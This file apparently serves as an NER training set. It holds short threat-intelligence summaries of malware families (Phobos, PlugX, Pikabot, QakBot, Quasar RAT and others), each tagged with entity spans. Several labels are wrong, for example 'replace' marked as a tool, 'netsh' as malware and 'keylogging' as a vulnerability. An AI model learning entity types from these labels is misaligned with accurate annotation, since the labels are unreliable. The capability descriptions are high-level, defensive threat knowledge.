+{"text": "According to Proofpoint, this is a fork of Stealerium that has high overlap with its originating codebase.", "spans": {"ORGANIZATION: Proofpoint": [[13, 23]], "MALWARE: Stealerium": [[43, 53]]}, "info": {"source": "apt_reports", "name": "Phantom Stealer"}}
+{"text": "MalwareBytes states that Phobos is one of the ransomware families that are distributed via hacked Remote Desktop (RDP) connections. This isn't surprising, as hacked RDP servers are a cheap commodity on the underground market, and can make for an attractive and cost efficient dissemination vector for threat groups.", "spans": {"MALWARE: Phobos": [[25, 31]], "TOOL: RDP": [[114, 117], [165, 168]]}, "info": {"source": "apt_reports", "name": "Phobos"}}
+{"text": "Keylogger, information stealer.", "spans": {}, "info": {"source": "apt_reports", "name": "Phoenix Keylogger"}}
+{"text": "Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53", "spans": {"MALWARE: Phoreal": [[0, 7]]}, "info": {"source": "apt_reports", "name": "PHOREAL"}}
+{"text": "Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.", "spans": {"MALWARE: Phorpiex": [[21, 29]], "MALWARE: Trik": [[30, 34], [150, 154]], "ORGANIZATION: Proofpoint": [[0, 10]], "MALWARE: Pushdo": [[111, 117]], "MALWARE: Pony": [[119, 123]]}, "info": {"source": "apt_reports", "name": "Phorpiex"}}
+{"text": "PHOTOFORK is a downloader which is a modified version of GZIPLOADER. It was first detected in February 2023 and was distributed by TA581 along with an unattributed threat activity cluster that facilitated initial access. In this version, the configuration file is no longer encrypted using a simple XOR algorithm with a 64-byte key. Instead, it uses a custom algorithm previously used by the Standard core loader. This algorithm decrypts DLL strings that are needed to resolve handles to the necessary DLLs later on. The strings are decrypted using an algorithm that splits the data into DWORDs and XORs it against a random key. The main objective of PHOTOFORK remains the same as GZIPLOADER, i.e. to deliver an encrypted bot and core DLL loader (forked) that loads the Forked ICEDID bot into memory using a custom PE format.", "spans": {"MALWARE: PHOTOFORK": [[0, 9], [651, 660]], "MALWARE: GZIPLOADER": [[57, 67], [681, 691]]}, "info": {"source": "apt_reports", "name": "PHOTOFORK"}}
+{"text": "PHOTOLITE is the lite version of the GZIPLOADER with limited capabilities i.e. for example it does not have any functionality to exfiltrate the host information. This new variant is observed as a follow-on payload in a TA542 Emotet campaign back in November'22. contains a static URL to download a \"Bot Pack\" file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and backconnect functionality that would typically be used for banking fraud.", "spans": {"MALWARE: PHOTOLITE": [[0, 9]], "MALWARE: GZIPLOADER": [[37, 47]], "MALWARE: Emotet": [[225, 231]], "MALWARE: IcedID": [[368, 374], [432, 438]]}, "info": {"source": "apt_reports", "name": "PHOTOLITE"}}
+{"text": "A loader used to deliver IcedID, fetching a fake image from which payloads are extracted.", "spans": {"MALWARE: IcedID": [[25, 31]]}, "info": {"source": "apt_reports", "name": "PhotoLoader"}}
+{"text": "PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed solely utilized by APT34.", "spans": {"MALWARE: PICKPOCKET": [[0, 10]], "THREAT_ACTOR: APT34": [[194, 199]], "SYSTEM: Chrome": [[91, 97]], "SYSTEM: Firefox": [[99, 106]], "SYSTEM: Internet Explorer": [[112, 129]], "VULNERABILITY: credential theft": [[16, 32]]}, "info": {"source": "apt_reports", "name": "PICKPOCKET"}}
+{"text": "According to Mandiant, PIEHOP is a disruption tool written in Python and packaged with PyInstaller version 2.1+ that has the capability to connect to a user supplied remote MSSQL server for uploading files and issuing remote commands to a RTU.\r\nPIEHOP expects its main function to be called via another Python file, supplying either the argument control=True or upload=True. At a minimum, it requires the following arguments: oik, user, and pwd, and if called with control=True, it must also be supplied with iec104.", "spans": {"MALWARE: PIEHOP": [[23, 29], [245, 251]], "SYSTEM: Python": [[62, 68], [303, 309]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "PIEHOP"}}
+{"text": "Introducing Pikabot, an emerging malware family that comprises a downloader/installer, a loader, and a core backdoor component. Despite being in the early stages of development, it already demonstrates advanced techniques in evasion, injection, and anti-analysis. Notably, the loader component incorporates an array of sophisticated anti-debugging and anti-VM measures inspired by the open-source Al-Khaser project, while leveraging steganography to conceal its payload. Additionally, Pikabot utilizes a proprietary C2 framework and supports a diverse range of commands, encompassing host enumeration and advanced secondary payload injection options.", "spans": {"MALWARE: Pikabot": [[12, 19], [485, 492]]}, "info": {"source": "apt_reports", "name": "Pikabot"}}
+{"text": "According to FireEye, PILLOWMINT is a Point-of-Sale malware tool used to scrape track 1 and track 2 payment card data from memory.\r\n  Scraped payment card data is encrypted and stored in the registry and as plaintext in a file (T1074: Data Staged)\r\n  Contains additional backdoor capabilities including:\r\n       Running processes\r\n       Downloading and executing files (T1105: Remote File Copy)\r\n       Downloading and injecting DLLs (T1055: Process Injection)\r\n  Communicates with a command and control (C2) server over HTTP using AES encrypted messages\r\n    (T1071: Standard Application Layer Protocol)\r\n    (T1032: Standard Cryptographic Protocol)", "spans": {"MALWARE: PILLOWMINT": [[22, 32]], "ORGANIZATION: FireEye": [[13, 20]]}, "info": {"source": "apt_reports", "name": "PILLOWMINT"}}
+{"text": "According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke’s credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.", "spans": {"MALWARE: PinchDuke": [[27, 36], [245, 254]], "ORGANIZATION: F-Secure": [[13, 21], [222, 230]]}, "info": {"source": "apt_reports", "name": "PinchDuke"}}
+{"text": "Cisco Talos states that PipeSnoop can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint.", "spans": {"MALWARE: PipeSnoop": [[24, 33]], "SYSTEM: Cisco": [[0, 5]], "ORGANIZATION: Talos": [[6, 11]], "ORGANIZATION: Cisco Talos": [[0, 11]]}, "info": {"source": "apt_reports", "name": "PipeSnoop"}}
+{"text": "Infostealer", "spans": {}, "info": {"source": "apt_reports", "name": "PirateStealer"}}
+{"text": "According to TG Soft, Pitou has beeen released on April 2014. It maybe an evolution of the rootkit \"Srzizbi\" developed on 2008. Pitou is a spambot, the main goal is send spam form the computer of victim.", "spans": {"MALWARE: Pitou": [[22, 27], [128, 133]], "VULNERABILITY: rootkit": [[91, 98]]}, "info": {"source": "apt_reports", "name": "Pitou"}}
+{"text": "Pkybot is a trojan, which has its roots as a downloader dubbed Bublik in 2013 and was seen distributing GameoverZeus in 2014 (ref: fortinet). In the beginning of 2015, webinject capability was added according to /Kleissner/Kafeine/iSight using the infamous ATS.", "spans": {"MALWARE: Pkybot": [[0, 6]], "MALWARE: Bublik": [[63, 69]]}, "info": {"source": "apt_reports", "name": "Pkybot"}}
+{"text": "According to PCrisk, PLAY is the name of a ransomware-type program. Malware categorized as such operates by encrypting data and demanding ransoms for the decryption.\r\n\r\nAfter we executed a sample of this ransomware on our test machine, it encrypted files and appended their filenames with a \".PLAY\" extension. For example, a file titled \"1.jpg\" appeared as \"1.jpg.PLAY\", \"2.png\" as \"2.png.PLAY\", etc. Once the encryption process was completed, PLAY created a text file named \"ReadMe.txt\" on the desktop.", "spans": {"MALWARE: PLAY": [[21, 25], [293, 297], [364, 368], [389, 393], [444, 448]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "PLAY"}}
+{"text": "PLEAD is a RAT used by the actor BlackTech. FireEye uses the synonyms GOODTIMES for the RAT module and DRAWDOWN for the respective downloader.", "spans": {"MALWARE: PLEAD": [[0, 5]], "MALWARE: DRAWDOWN": [[103, 111]], "MALWARE: GOODTIMES": [[70, 79]], "THREAT_ACTOR: BlackTech": [[33, 42]], "ORGANIZATION: FireEye": [[44, 51]]}, "info": {"source": "apt_reports", "name": "PLEAD"}}
+{"text": "RSA describes PlugX as a RAT (Remote Access Trojan) malware family that is around since 2008 and is used as a backdoor to control the victim's machine fully. Once the device is infected, an attacker can remotely execute several kinds of commands on the affected system.\r\n\r\nNotable features of this malware family are the ability to execute commands on the affected machine to retrieve:\r\nmachine information\r\ncapture the screen\r\nsend keyboard and mouse events\r\nkeylogging\r\nreboot the system\r\nmanage processes (create, kill and enumerate)\r\nmanage services (create, start, stop, etc.); and\r\nmanage Windows registry entries, open a shell, etc.\r\n\r\nThe malware also logs its events in a text log file.", "spans": {"MALWARE: PlugX": [[14, 19]], "SYSTEM: Windows": [[595, 602]], "ORGANIZATION: RSA": [[0, 3]], "VULNERABILITY: keylogging": [[460, 470]]}, "info": {"source": "apt_reports", "name": "PlugX"}}
+{"text": "According to ESET Research, PNGLoad is a second-stage payload deployed by Worok on compromised systems and loaded either by CLRLoad or PowHeartBeat. PNGLoad has capabilities to download and execute additional payloads from a C&C server, which is likely how the attackers have deployed PNGLoad on systems compromised with PowHeartBeat. PNGLoad is a loader that uses bytes from PNG files to create a payload to execute. It is a 64-bit .NET executable - obfuscated with .NET Reactor - that masquerades as legitimate software.", "spans": {"MALWARE: PNGLoad": [[28, 35], [149, 156], [285, 292], [335, 342]], "THREAT_ACTOR: Worok": [[74, 79]], "SYSTEM: ESET": [[13, 17]], "SYSTEM: .NET": [[433, 437], [467, 471]]}, "info": {"source": "apt_reports", "name": "PNGLoad"}}
+{"text": "uses POCO C++ cross-platform library, Xor-based string obfuscation, SSL library code and string overlap with Xtunnel, infrastructure overlap with X-Agent, probably in use since mid-2018", "spans": {}, "info": {"source": "apt_reports", "name": "PocoDown"}}
+{"text": "According to FireEye, POISONPLUG is a highly obfuscated modular backdoor with plug-in capabilities. The malware is capable of registry or service persistence, self-removal, plug-in execution, and network connection forwarding. POISONPLUG has been observed using social platforms to host encoded C&C commands.", "spans": {"MALWARE: POISONPLUG": [[22, 32], [227, 237]], "ORGANIZATION: FireEye": [[13, 20]]}, "info": {"source": "apt_reports", "name": "POISONPLUG"}}
+{"text": "According to KnowBe4, Pony Stealer is a password stealer that can decrypt or unlock passwords for over 110 different applications including VPN, FTP, email, instant messaging, web browsers and much more.  Pony Stealer is very dangerous and once it infects a PC it will turn the device into a botnet, allowing it to use the PCs it infects to infect other PCs.", "spans": {"MALWARE: Pony": [[22, 26], [205, 209]], "SYSTEM: VPN": [[140, 143]]}, "info": {"source": "apt_reports", "name": "Pony"}}
+{"text": "According to Mandiant, POORTRY is a malware written as a driver, signed with a Microsoft Windows Hardware Compatibility Authenticode signature. This malware has been observed being used by UNC3944.", "spans": {"MALWARE: POORTRY": [[23, 30]], "SYSTEM: Windows": [[89, 96]], "ORGANIZATION: Mandiant": [[13, 21]], "ORGANIZATION: Microsoft": [[79, 88]]}, "info": {"source": "apt_reports", "name": "POORTRY"}}
+{"text": "PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement.\r\n\r\nPoshC2 is primarily written in Python3 and follows a modular format to enable users to add their own modules and tools, allowing an extendible and flexible C2 framework. Out-of-the-box PoshC2 comes PowerShell/C# and Python3 implants with payloads written in PowerShell v2 and v4, C++ and C# source code, a variety of executables, DLLs and raw shellcode in addition to a Python3 payload. These enable C2 functionality on a wide range of devices and operating systems, including Windows, *nix and OSX.", "spans": {"TOOL: PoshC2": [[0, 6], [130, 136], [315, 321]], "TOOL: PowerShell": [[328, 338], [388, 398]], "SYSTEM: Windows": [[607, 614]]}, "info": {"source": "apt_reports", "name": "PoshC2"}}
+{"text": "PostNapTea aka SIGNBT is an HTTP(S) RAT that is written as a complex object-oriented project.\r\n\r\nIn 2022-2023, it was deployed against targets like a newspaper organization, agriculture-related entity or a software vendor. The initial access was usually achieved by exploiting vulnerabilities in widely-used software in South Korea.\r\n\r\nIt collects various information about the victim’s computer, such as computer name, product name, OS details, system uptime, CPU information, system locale, time zone, network status, and malware configuration. \r\n\r\nPostNapTea uses AES for encryption and decryption ot network traffic. There is a constant prefix SIGNBT occuring in its HTTP POST requests. The prefix is concatenated with 2 characters that identify the communication stage:\r\n• LG: logging into the C&C server\r\n• KE: acknowledging the succesful login to the C&C\r\n• FI: sending the status of a failed operation \r\n• SR: sending the status of a successful operation\r\n• GC: getting the next command\r\n\r\nThere are five classes that represent command groups:\r\n• CCButton: for file manipulation and screen capturing\r\n• CCBitmap: for network commands, implementing functionality of Windows commands often abused by attackers, like sc, reg, arp, net, ver, wmic, ping, whoami, netstat, tracert, lookup, ipconfig,\r\nsysteminfo, and netsh advfirewall. \r\n• CCComboBox: for file system management\r\n• CCList: for process management\r\n• CCBrush: for control of the malware itself\r\n\r\nIt stores its configuration in JSON format. It resolves the Windows APIs it requires during runtime, via the Fowler–Noll–Vo (FNV) hash function.\r\n\r\nIts internal name in the version-information resource is usually ppcsnap.dll or pconsnap.dll, which loosely inspired its code name.", "spans": {"MALWARE: PostNapTea": [[0, 10], [551, 561]], "MALWARE: SIGNBT": [[15, 21], [648, 654]], "TOOL: wmic": [[1246, 1250]], "TOOL: ipconfig": [[1292, 1300]], "SYSTEM: Windows": [[1173, 1180], [1524, 1531]], "MALWARE: netsh": [[1319, 1324]], "MALWARE: netstat": [[1266, 1273]]}, "info": {"source": "apt_reports", "name": "PostNapTea"}}
+{"text": "According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSOM.THBAOBA)  is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to “securely” test the ransomware protection capabilities of security vendor products.", "spans": {"MALWARE: Povlsomware": [[26, 37]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Povlsomware"}}
+{"text": ".NET variant of ps1.powerton.", "spans": {"SYSTEM: .NET": [[0, 4]]}, "info": {"source": "apt_reports", "name": "POWERBAND"}}
+{"text": "A malware of the gozi group, developed on the base of isfb. It uses Office Macros and PowerShell in documents distributed in e-mail messages.", "spans": {"TOOL: PowerShell": [[86, 96]]}, "info": {"source": "apt_reports", "name": "Powersniff"}}
+{"text": "QUICKRIDE.POWER is a PowerShell variant of the QUICKRIDE backdoor. Its payloads are often saved to C:\\windows\\temp\\", "spans": {"FILEPATH: C:\\windows\\temp": [[99, 114]], "MALWARE: QUICKRIDE.POWER": [[0, 15]], "TOOL: PowerShell": [[21, 31]], "MALWARE: QUICKRIDE": [[0, 9], [47, 56]]}, "info": {"source": "apt_reports", "name": "PowerRatankba"}}
+{"text": "Predator is a feature-rich information stealer. It is sold on hacking forums as a bundle which includes: Payload builder and Command and Control web panel. It is able to grab passwords from browsers, replace cryptocurrency wallets, and take photos from the web-camera. It is developed by using a modular approach so that criminals may add more sophisticated tools on top of the it.", "spans": {"TOOL: replace": [[200, 207]], "MALWARE: Predator": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Predator The Thief"}}
+{"text": "According to PCrisk, Prestige is ransomware - malware that prevents victims from accessing (opening) their files by encrypting them. Additionally, Prestige appends the \".enc\" extension to filenames and drops the \"README\" file containing a ransom note. An example of how this ransomware modifies filenames: it renames \"1.jpg\" to \"1.jpg.enc\", \"2.png\" to \"2.png.enc\", and so forth.", "spans": {"MALWARE: Prestige": [[21, 29], [147, 155]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Prestige"}}
+{"text": "According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.", "spans": {"MALWARE: PrivateLoader": [[21, 34]]}, "info": {"source": "apt_reports", "name": "PrivateLoader"}}
+{"text": "Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.", "spans": {}, "info": {"source": "apt_reports", "name": "PRIVATELOG"}}
+{"text": "According to Lior Rochberger, Cybereason, prometei is a modular and multi-stage cryptocurrency botnet. It was discovered in July 2020, Cybereason Nocturnus team found evidence that this Prometei has been evolved since 2016. There are Linux and Windows versions of this malware.", "spans": {"MALWARE: Prometei": [[186, 194]], "SYSTEM: Windows": [[244, 251]], "SYSTEM: Linux": [[234, 239]], "ORGANIZATION: Cybereason": [[30, 40], [135, 145]]}, "info": {"source": "apt_reports", "name": "Prometei"}}
+{"text": "Ransomware written in .NET, apparently derived from the codebase of win.hakbit (Thanos) ransomware.", "spans": {"SYSTEM: .NET": [[22, 26]], "MALWARE: Thanos": [[80, 86]]}, "info": {"source": "apt_reports", "name": "Prometheus"}}
+{"text": "According to ESET Research, PromptLock is first known AI-powered ransomware. PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption. These Lua scripts are cross-platform compatible, functioning on Windows, Linux, and macOS. For its file encryption mechanism, the PromptLock ransomware utilizes the SPECK 128-bit encryption algorithm.", "spans": {"MALWARE: PromptLock": [[28, 38], [77, 87], [381, 391]], "SYSTEM: macOS": [[335, 340]], "SYSTEM: Windows": [[315, 322]], "SYSTEM: ESET": [[13, 17]], "SYSTEM: Linux": [[324, 329]]}, "info": {"source": "apt_reports", "name": "PromptLock"}}
+{"text": "According to PCrisk, PseudoManuscrypt is the name of the malware that spies on victims. It is similar to another malware called Manuscrypt. We have discovered PseudoManuscrypt while checking installers for pirated software (one of the examples is a fake pirated installer for SolarWinds - a network monitoring software).", "spans": {"MALWARE: PseudoManuscrypt": [[21, 37], [159, 175]], "SYSTEM: SolarWinds": [[276, 286]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "PseudoManuscrypt"}}
+{"text": "According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.\r\n\r\nIn binaries, apart from BotModule and MainModule, references to the following Modules have be observed:\r\nBrowserModule\r\nBTCModule\r\nComplexModule\r\nKeyLoggerModule\r\nOutlookModule\r\nProcessModule\r\nRansomwareModule\r\nSkypeModule", "spans": {}, "info": {"source": "apt_reports", "name": "PsiX"}}
+{"text": "Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.", "spans": {"MALWARE: PC Surveillance System": [[22, 44]], "MALWARE: PSS": [[46, 49]]}, "info": {"source": "apt_reports", "name": "PC Surveillance System"}}
+{"text": "According to Seqrite, this is a loader for a follow-up side-loaded and in memory-staged Cobalt Strike Beacon. It uses API hashing (SDBM) and pulls the next stage from Google Drive using hardcoded access credentials.", "spans": {"THREAT_ACTOR: Cobalt": [[88, 94]], "TOOL: Cobalt Strike": [[88, 101]], "TOOL: Cobalt Strike Beacon": [[88, 108]], "ORGANIZATION: Google": [[167, 173]]}, "info": {"source": "apt_reports", "name": "Pterois"}}
+{"text": "According to Broadcom, Pulsar RAT is a derivation of Quasar RAT, which has miscellaneous functionality including keylogging, cryptocurrency wallet clipping, infostealing, file management, remote shell and command execution, among others. The data theft capabilities of this malware include collection and exfiltration of sensitive information such as credentials, cookies, cryptowallets, session files and data stored in the system web browsers, etc.", "spans": {"MALWARE: Pulsar RAT": [[23, 33]], "TOOL: Quasar RAT": [[53, 63]], "ORGANIZATION: Broadcom": [[13, 21]], "VULNERABILITY: keylogging": [[113, 123]]}, "info": {"source": "apt_reports", "name": "Pulsar RAT"}}
+{"text": "Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.", "spans": {"MALWARE: pupy": [[452, 456]], "TOOL: powershell": [[200, 210]], "SYSTEM: Linux": [[176, 181]], "MALWARE: Pupy": [[0, 4], [101, 105], [468, 472]]}, "info": {"source": "apt_reports", "name": "pupy"}}
+{"text": "According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021\r\nThe malware has been observed distributing a variety of remote access trojans and information stealers\r\nThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products\r\nPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google’s Protocol Buffer message format", "spans": {"MALWARE: PureCrypter": [[22, 33], [360, 371]], "SYSTEM: .NET": [[219, 223]], "ORGANIZATION: Google": [[460, 466]]}, "info": {"source": "apt_reports", "name": "PureCrypter"}}
+{"text": "ransomware", "spans": {}, "info": {"source": "apt_reports", "name": "PureLocker"}}
+{"text": "PureLogs, also known as PureLog Stealer, is an infostealer malware from the Pure family that aims to steal sensitive information from infected devices.", "spans": {}, "info": {"source": "apt_reports", "name": "PureLogs Stealer"}}
+{"text": "According to Morphisec, this RAT combines advanced in-memory execution, API and resource resolution at runtime, and layered evasion techniques. They have named it ‘Resolver’ due to its heavy reliance on runtime resolution mechanisms and dynamic resource handling, which make static and behavioral analysis significantly more difficult.", "spans": {}, "info": {"source": "apt_reports", "name": "PureRAT"}}
+{"text": "Purple Fox uses msi.dll function, 'MsiInstallProductA', to download and execute its payload. The payload is a .msi file that contains encrypted shellcode including 32-bit and 64-bit versions. once executed the system will be restarted and uses the 'PendingFileRenameOperations' registry to rename it's components. \r\n\r\nUpon restart the rootkit capability of Purple Fox is invoked. It creates a suspended svchost process and injects a DLL that will create a driver with the rootkit capability. \r\n\r\nThe latest version of Purple Fox abuses open-source code to enable it's rootkit components, which includes hiding and protecting its files and registry entries. It also abuses a file utility software to hide its DLL component, which deters reverse engineering.", "spans": {"VULNERABILITY: rootkit": [[335, 342], [472, 479], [568, 575]]}, "info": {"source": "apt_reports", "name": "PurpleFox"}}
+{"text": "ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user’s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.\r\n\r\nThe author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.", "spans": {"MALWARE: PurpleWave": [[45, 55], [317, 327]]}, "info": {"source": "apt_reports", "name": "PurpleWave"}}
+{"text": "Pushdo is usually classified as a \"downloader\" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.", "spans": {"MALWARE: Pushdo": [[0, 6], [201, 207], [286, 292]]}, "info": {"source": "apt_reports", "name": "Pushdo"}}
+{"text": "The dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack.", "spans": {"FILEPATH: %SYSTEM%\\WmiPrvMon.exe)": [[145, 168]], "FILEPATH: %SYSTEM%\\wmimon.dll)": [[273, 293]], "SYSTEM: Windows": [[113, 120]], "ORGANIZATION: Microsoft": [[103, 112]]}, "info": {"source": "apt_reports", "name": "puzzlemaker"}}
+{"text": "PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from $175k USD to $650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.", "spans": {"MALWARE: PwndLocker": [[0, 10], [203, 213], [295, 305]], "SYSTEM: Windows": [[339, 346], [832, 839]], "ORGANIZATION: Microsoft": [[822, 831]]}, "info": {"source": "apt_reports", "name": "PwndLocker"}}
+{"text": "Py2exe built worm propagating via USB drives, having wiper features embedded in the logic (based on today's date being later than 2016-04-03 and existence of a file C:\\txt.txt)", "spans": {"FILEPATH: C:\\txt.txt)": [[165, 176]]}, "info": {"source": "apt_reports", "name": "win.pyfiledel"}}
+{"text": "According to Akamai, Pykspa is a worm that spreads via Skype by sending messages to other Skype users with download links. Once downloaded, Pykspa extracts personal information and communicates with its command and control servers (C2) using a domain generation algorithm (DGA).", "spans": {"MALWARE: Pykspa": [[21, 27], [140, 146]], "SYSTEM: Skype": [[55, 60], [90, 95]], "ORGANIZATION: Akamai": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Pykspa"}}
+{"text": "PyLocky is a ransomware that tries to pass off as Locky in its ransom note.  It is written in Python and packaged with PyInstaller.", "spans": {"MALWARE: PyLocky": [[0, 7]], "SYSTEM: Python": [[94, 100]], "MALWARE: Locky": [[50, 55]]}, "info": {"source": "apt_reports", "name": "PyLocky"}}
+{"text": "Full-featured Python RAT compiled into an executable.\r\n\r\nPyXie RAT functionality includes:\r\n* Man-in-the-middle (MITM) Interception\r\n* Web-injects\r\n* Keylogging\r\n* Credential harvesting\r\n* Network Scanning\r\n* Cookie theft\r\n* Clearing logs\r\n* Recording video\r\n* Running arbitrary payloads\r\n* Monitoring USB drives and exfiltrating data\r\n* WebDav server\r\n* Socks5 proxy\r\n* Virtual Network Connection (VNC)\r\n* Certificate theft\r\n* Inventorying software\r\n* Enumerating the domain with Sharphound", "spans": {"MALWARE: PyXie": [[57, 62]], "MALWARE: PyXie RAT": [[57, 66]], "TOOL: Sharphound": [[481, 491]], "TOOL: VNC": [[399, 402]], "SYSTEM: Python": [[14, 20]], "VULNERABILITY: MITM": [[113, 117]], "MALWARE: Interception": [[119, 131]]}, "info": {"source": "apt_reports", "name": "PyXie"}}
+{"text": "QBot is a modular information stealer also known as Qakbot or Pinkslipbot. It has been active for years since 2007. It has historically been known as a banking Trojan, meaning that it steals financial data from infected systems, and a loader using C2 servers for payload targeting and download.", "spans": {"MALWARE: Qakbot": [[52, 58]], "MALWARE: Pinkslipbot": [[62, 73]], "MALWARE: QBot": [[0, 4]]}, "info": {"source": "apt_reports", "name": "QakBot"}}
+{"text": "According to F-Secure, this is a network worm with backdoor capabilities, which spreads itself under Win32 systems. The worm was reported in-the-wild in July-August, 2000. The worm itself is a Win32 executable file and about 120K long, written in MS Visual C++.", "spans": {"ORGANIZATION: F-Secure": [[13, 21]]}, "info": {"source": "apt_reports", "name": "QHost"}}
+{"text": "According to ESET Research, this is a loader that has the Mandarin Chinese symbol (yang in the Pinyin transliteration) as an icon in the resources. It also contains the string SampleIMESimplifiedQuanPin.txt, which suggests that it is probably based on the open-source project Sample IME, a TSF-based input method editor demo.", "spans": {"SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "QuanPinLoader"}}
+{"text": "A stager used by APT29 to download and run CobaltStrike.\r\nHere, MUSKYBEAT refers to the in-memory dropper component, while STATICNOISE is the final payload / downloader.", "spans": {"MALWARE: MUSKYBEAT": [[64, 73]], "MALWARE: STATICNOISE": [[123, 134]], "THREAT_ACTOR: APT29": [[17, 22]], "TOOL: CobaltStrike": [[43, 55]]}, "info": {"source": "apt_reports", "name": "QUARTERRIG"}}
+{"text": "Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.", "spans": {"TOOL: Quasar RAT": [[0, 10]], "SYSTEM: .NET": [[42, 46]]}, "info": {"source": "apt_reports", "name": "Quasar RAT"}}
+{"text": "QuickMute is a malware developed using the C/C++ programming language. Functionally provides download, RC4 decryption, and in-memory launch of the payload (waiting for a PE file with the export function \"HttpsVictimMain\"). To communicate with the management server, a number of protocols are provided, in particular: TCP, UDP, HTTP, HTTPS.", "spans": {"MALWARE: QuickMute": [[0, 9]]}, "info": {"source": "apt_reports", "name": "QUICKMUTE"}}
+{"text": "According to Microsoft, this is a heavily obfuscated .NET malware, primarily geared towards the exfiltration of data from the compromised host. But it can also receive and execute a remote payload from the operator.", "spans": {"SYSTEM: .NET": [[53, 57]], "ORGANIZATION: Microsoft": [[13, 22]]}, "info": {"source": "apt_reports", "name": "QuietSieve"}}
+{"text": "According to X-Force, this is a loader module written in .NET languages for which ahead-of-time (AOT) compilation is used.", "spans": {"SYSTEM: .NET": [[57, 61]], "ORGANIZATION: X-Force": [[13, 20]]}, "info": {"source": "apt_reports", "name": "QuirkyLoader"}}
+{"text": "QuiteRAT is a simple remote access trojan written with the help of Qt libraries.\r\n\r\nAfter sending preliminary system information to its C&C server, it expects a response containing either a supported command code or an actual Windows command (like systeminfo or ipconfig with parameters) to execute.\r\n\r\nIt was deployed in a campaign exploiting a ManageEngine ServiceDesk vulnerability (CVE-2022-47966).", "spans": {"CVE_ID: CVE-2022-47966": [[386, 400]], "MALWARE: QuiteRAT": [[0, 8]], "TOOL: ipconfig": [[262, 270]], "SYSTEM: Windows": [[226, 233]], "SYSTEM: ManageEngine": [[346, 358]]}, "info": {"source": "apt_reports", "name": "QuiteRAT"}}
+{"text": "Qulab is an AutoIT Malware focusing on stealing & clipping content from victim's machines.", "spans": {"MALWARE: Qulab": [[0, 5]]}, "info": {"source": "apt_reports", "name": "Qulab"}}
+{"text": "According to the author, r77 is a ring 3 rootkit that hides everything: \r\n* Files, directories\r\n* Processes & CPU usage\r\n* Registry keys & values\r\n* Services\r\n* TCP & UDP connections\r\n* Junctions, named pipes, scheduled tasks", "spans": {"MALWARE: r77": [[25, 28]], "VULNERABILITY: rootkit": [[41, 48]]}, "info": {"source": "apt_reports", "name": "r77"}}
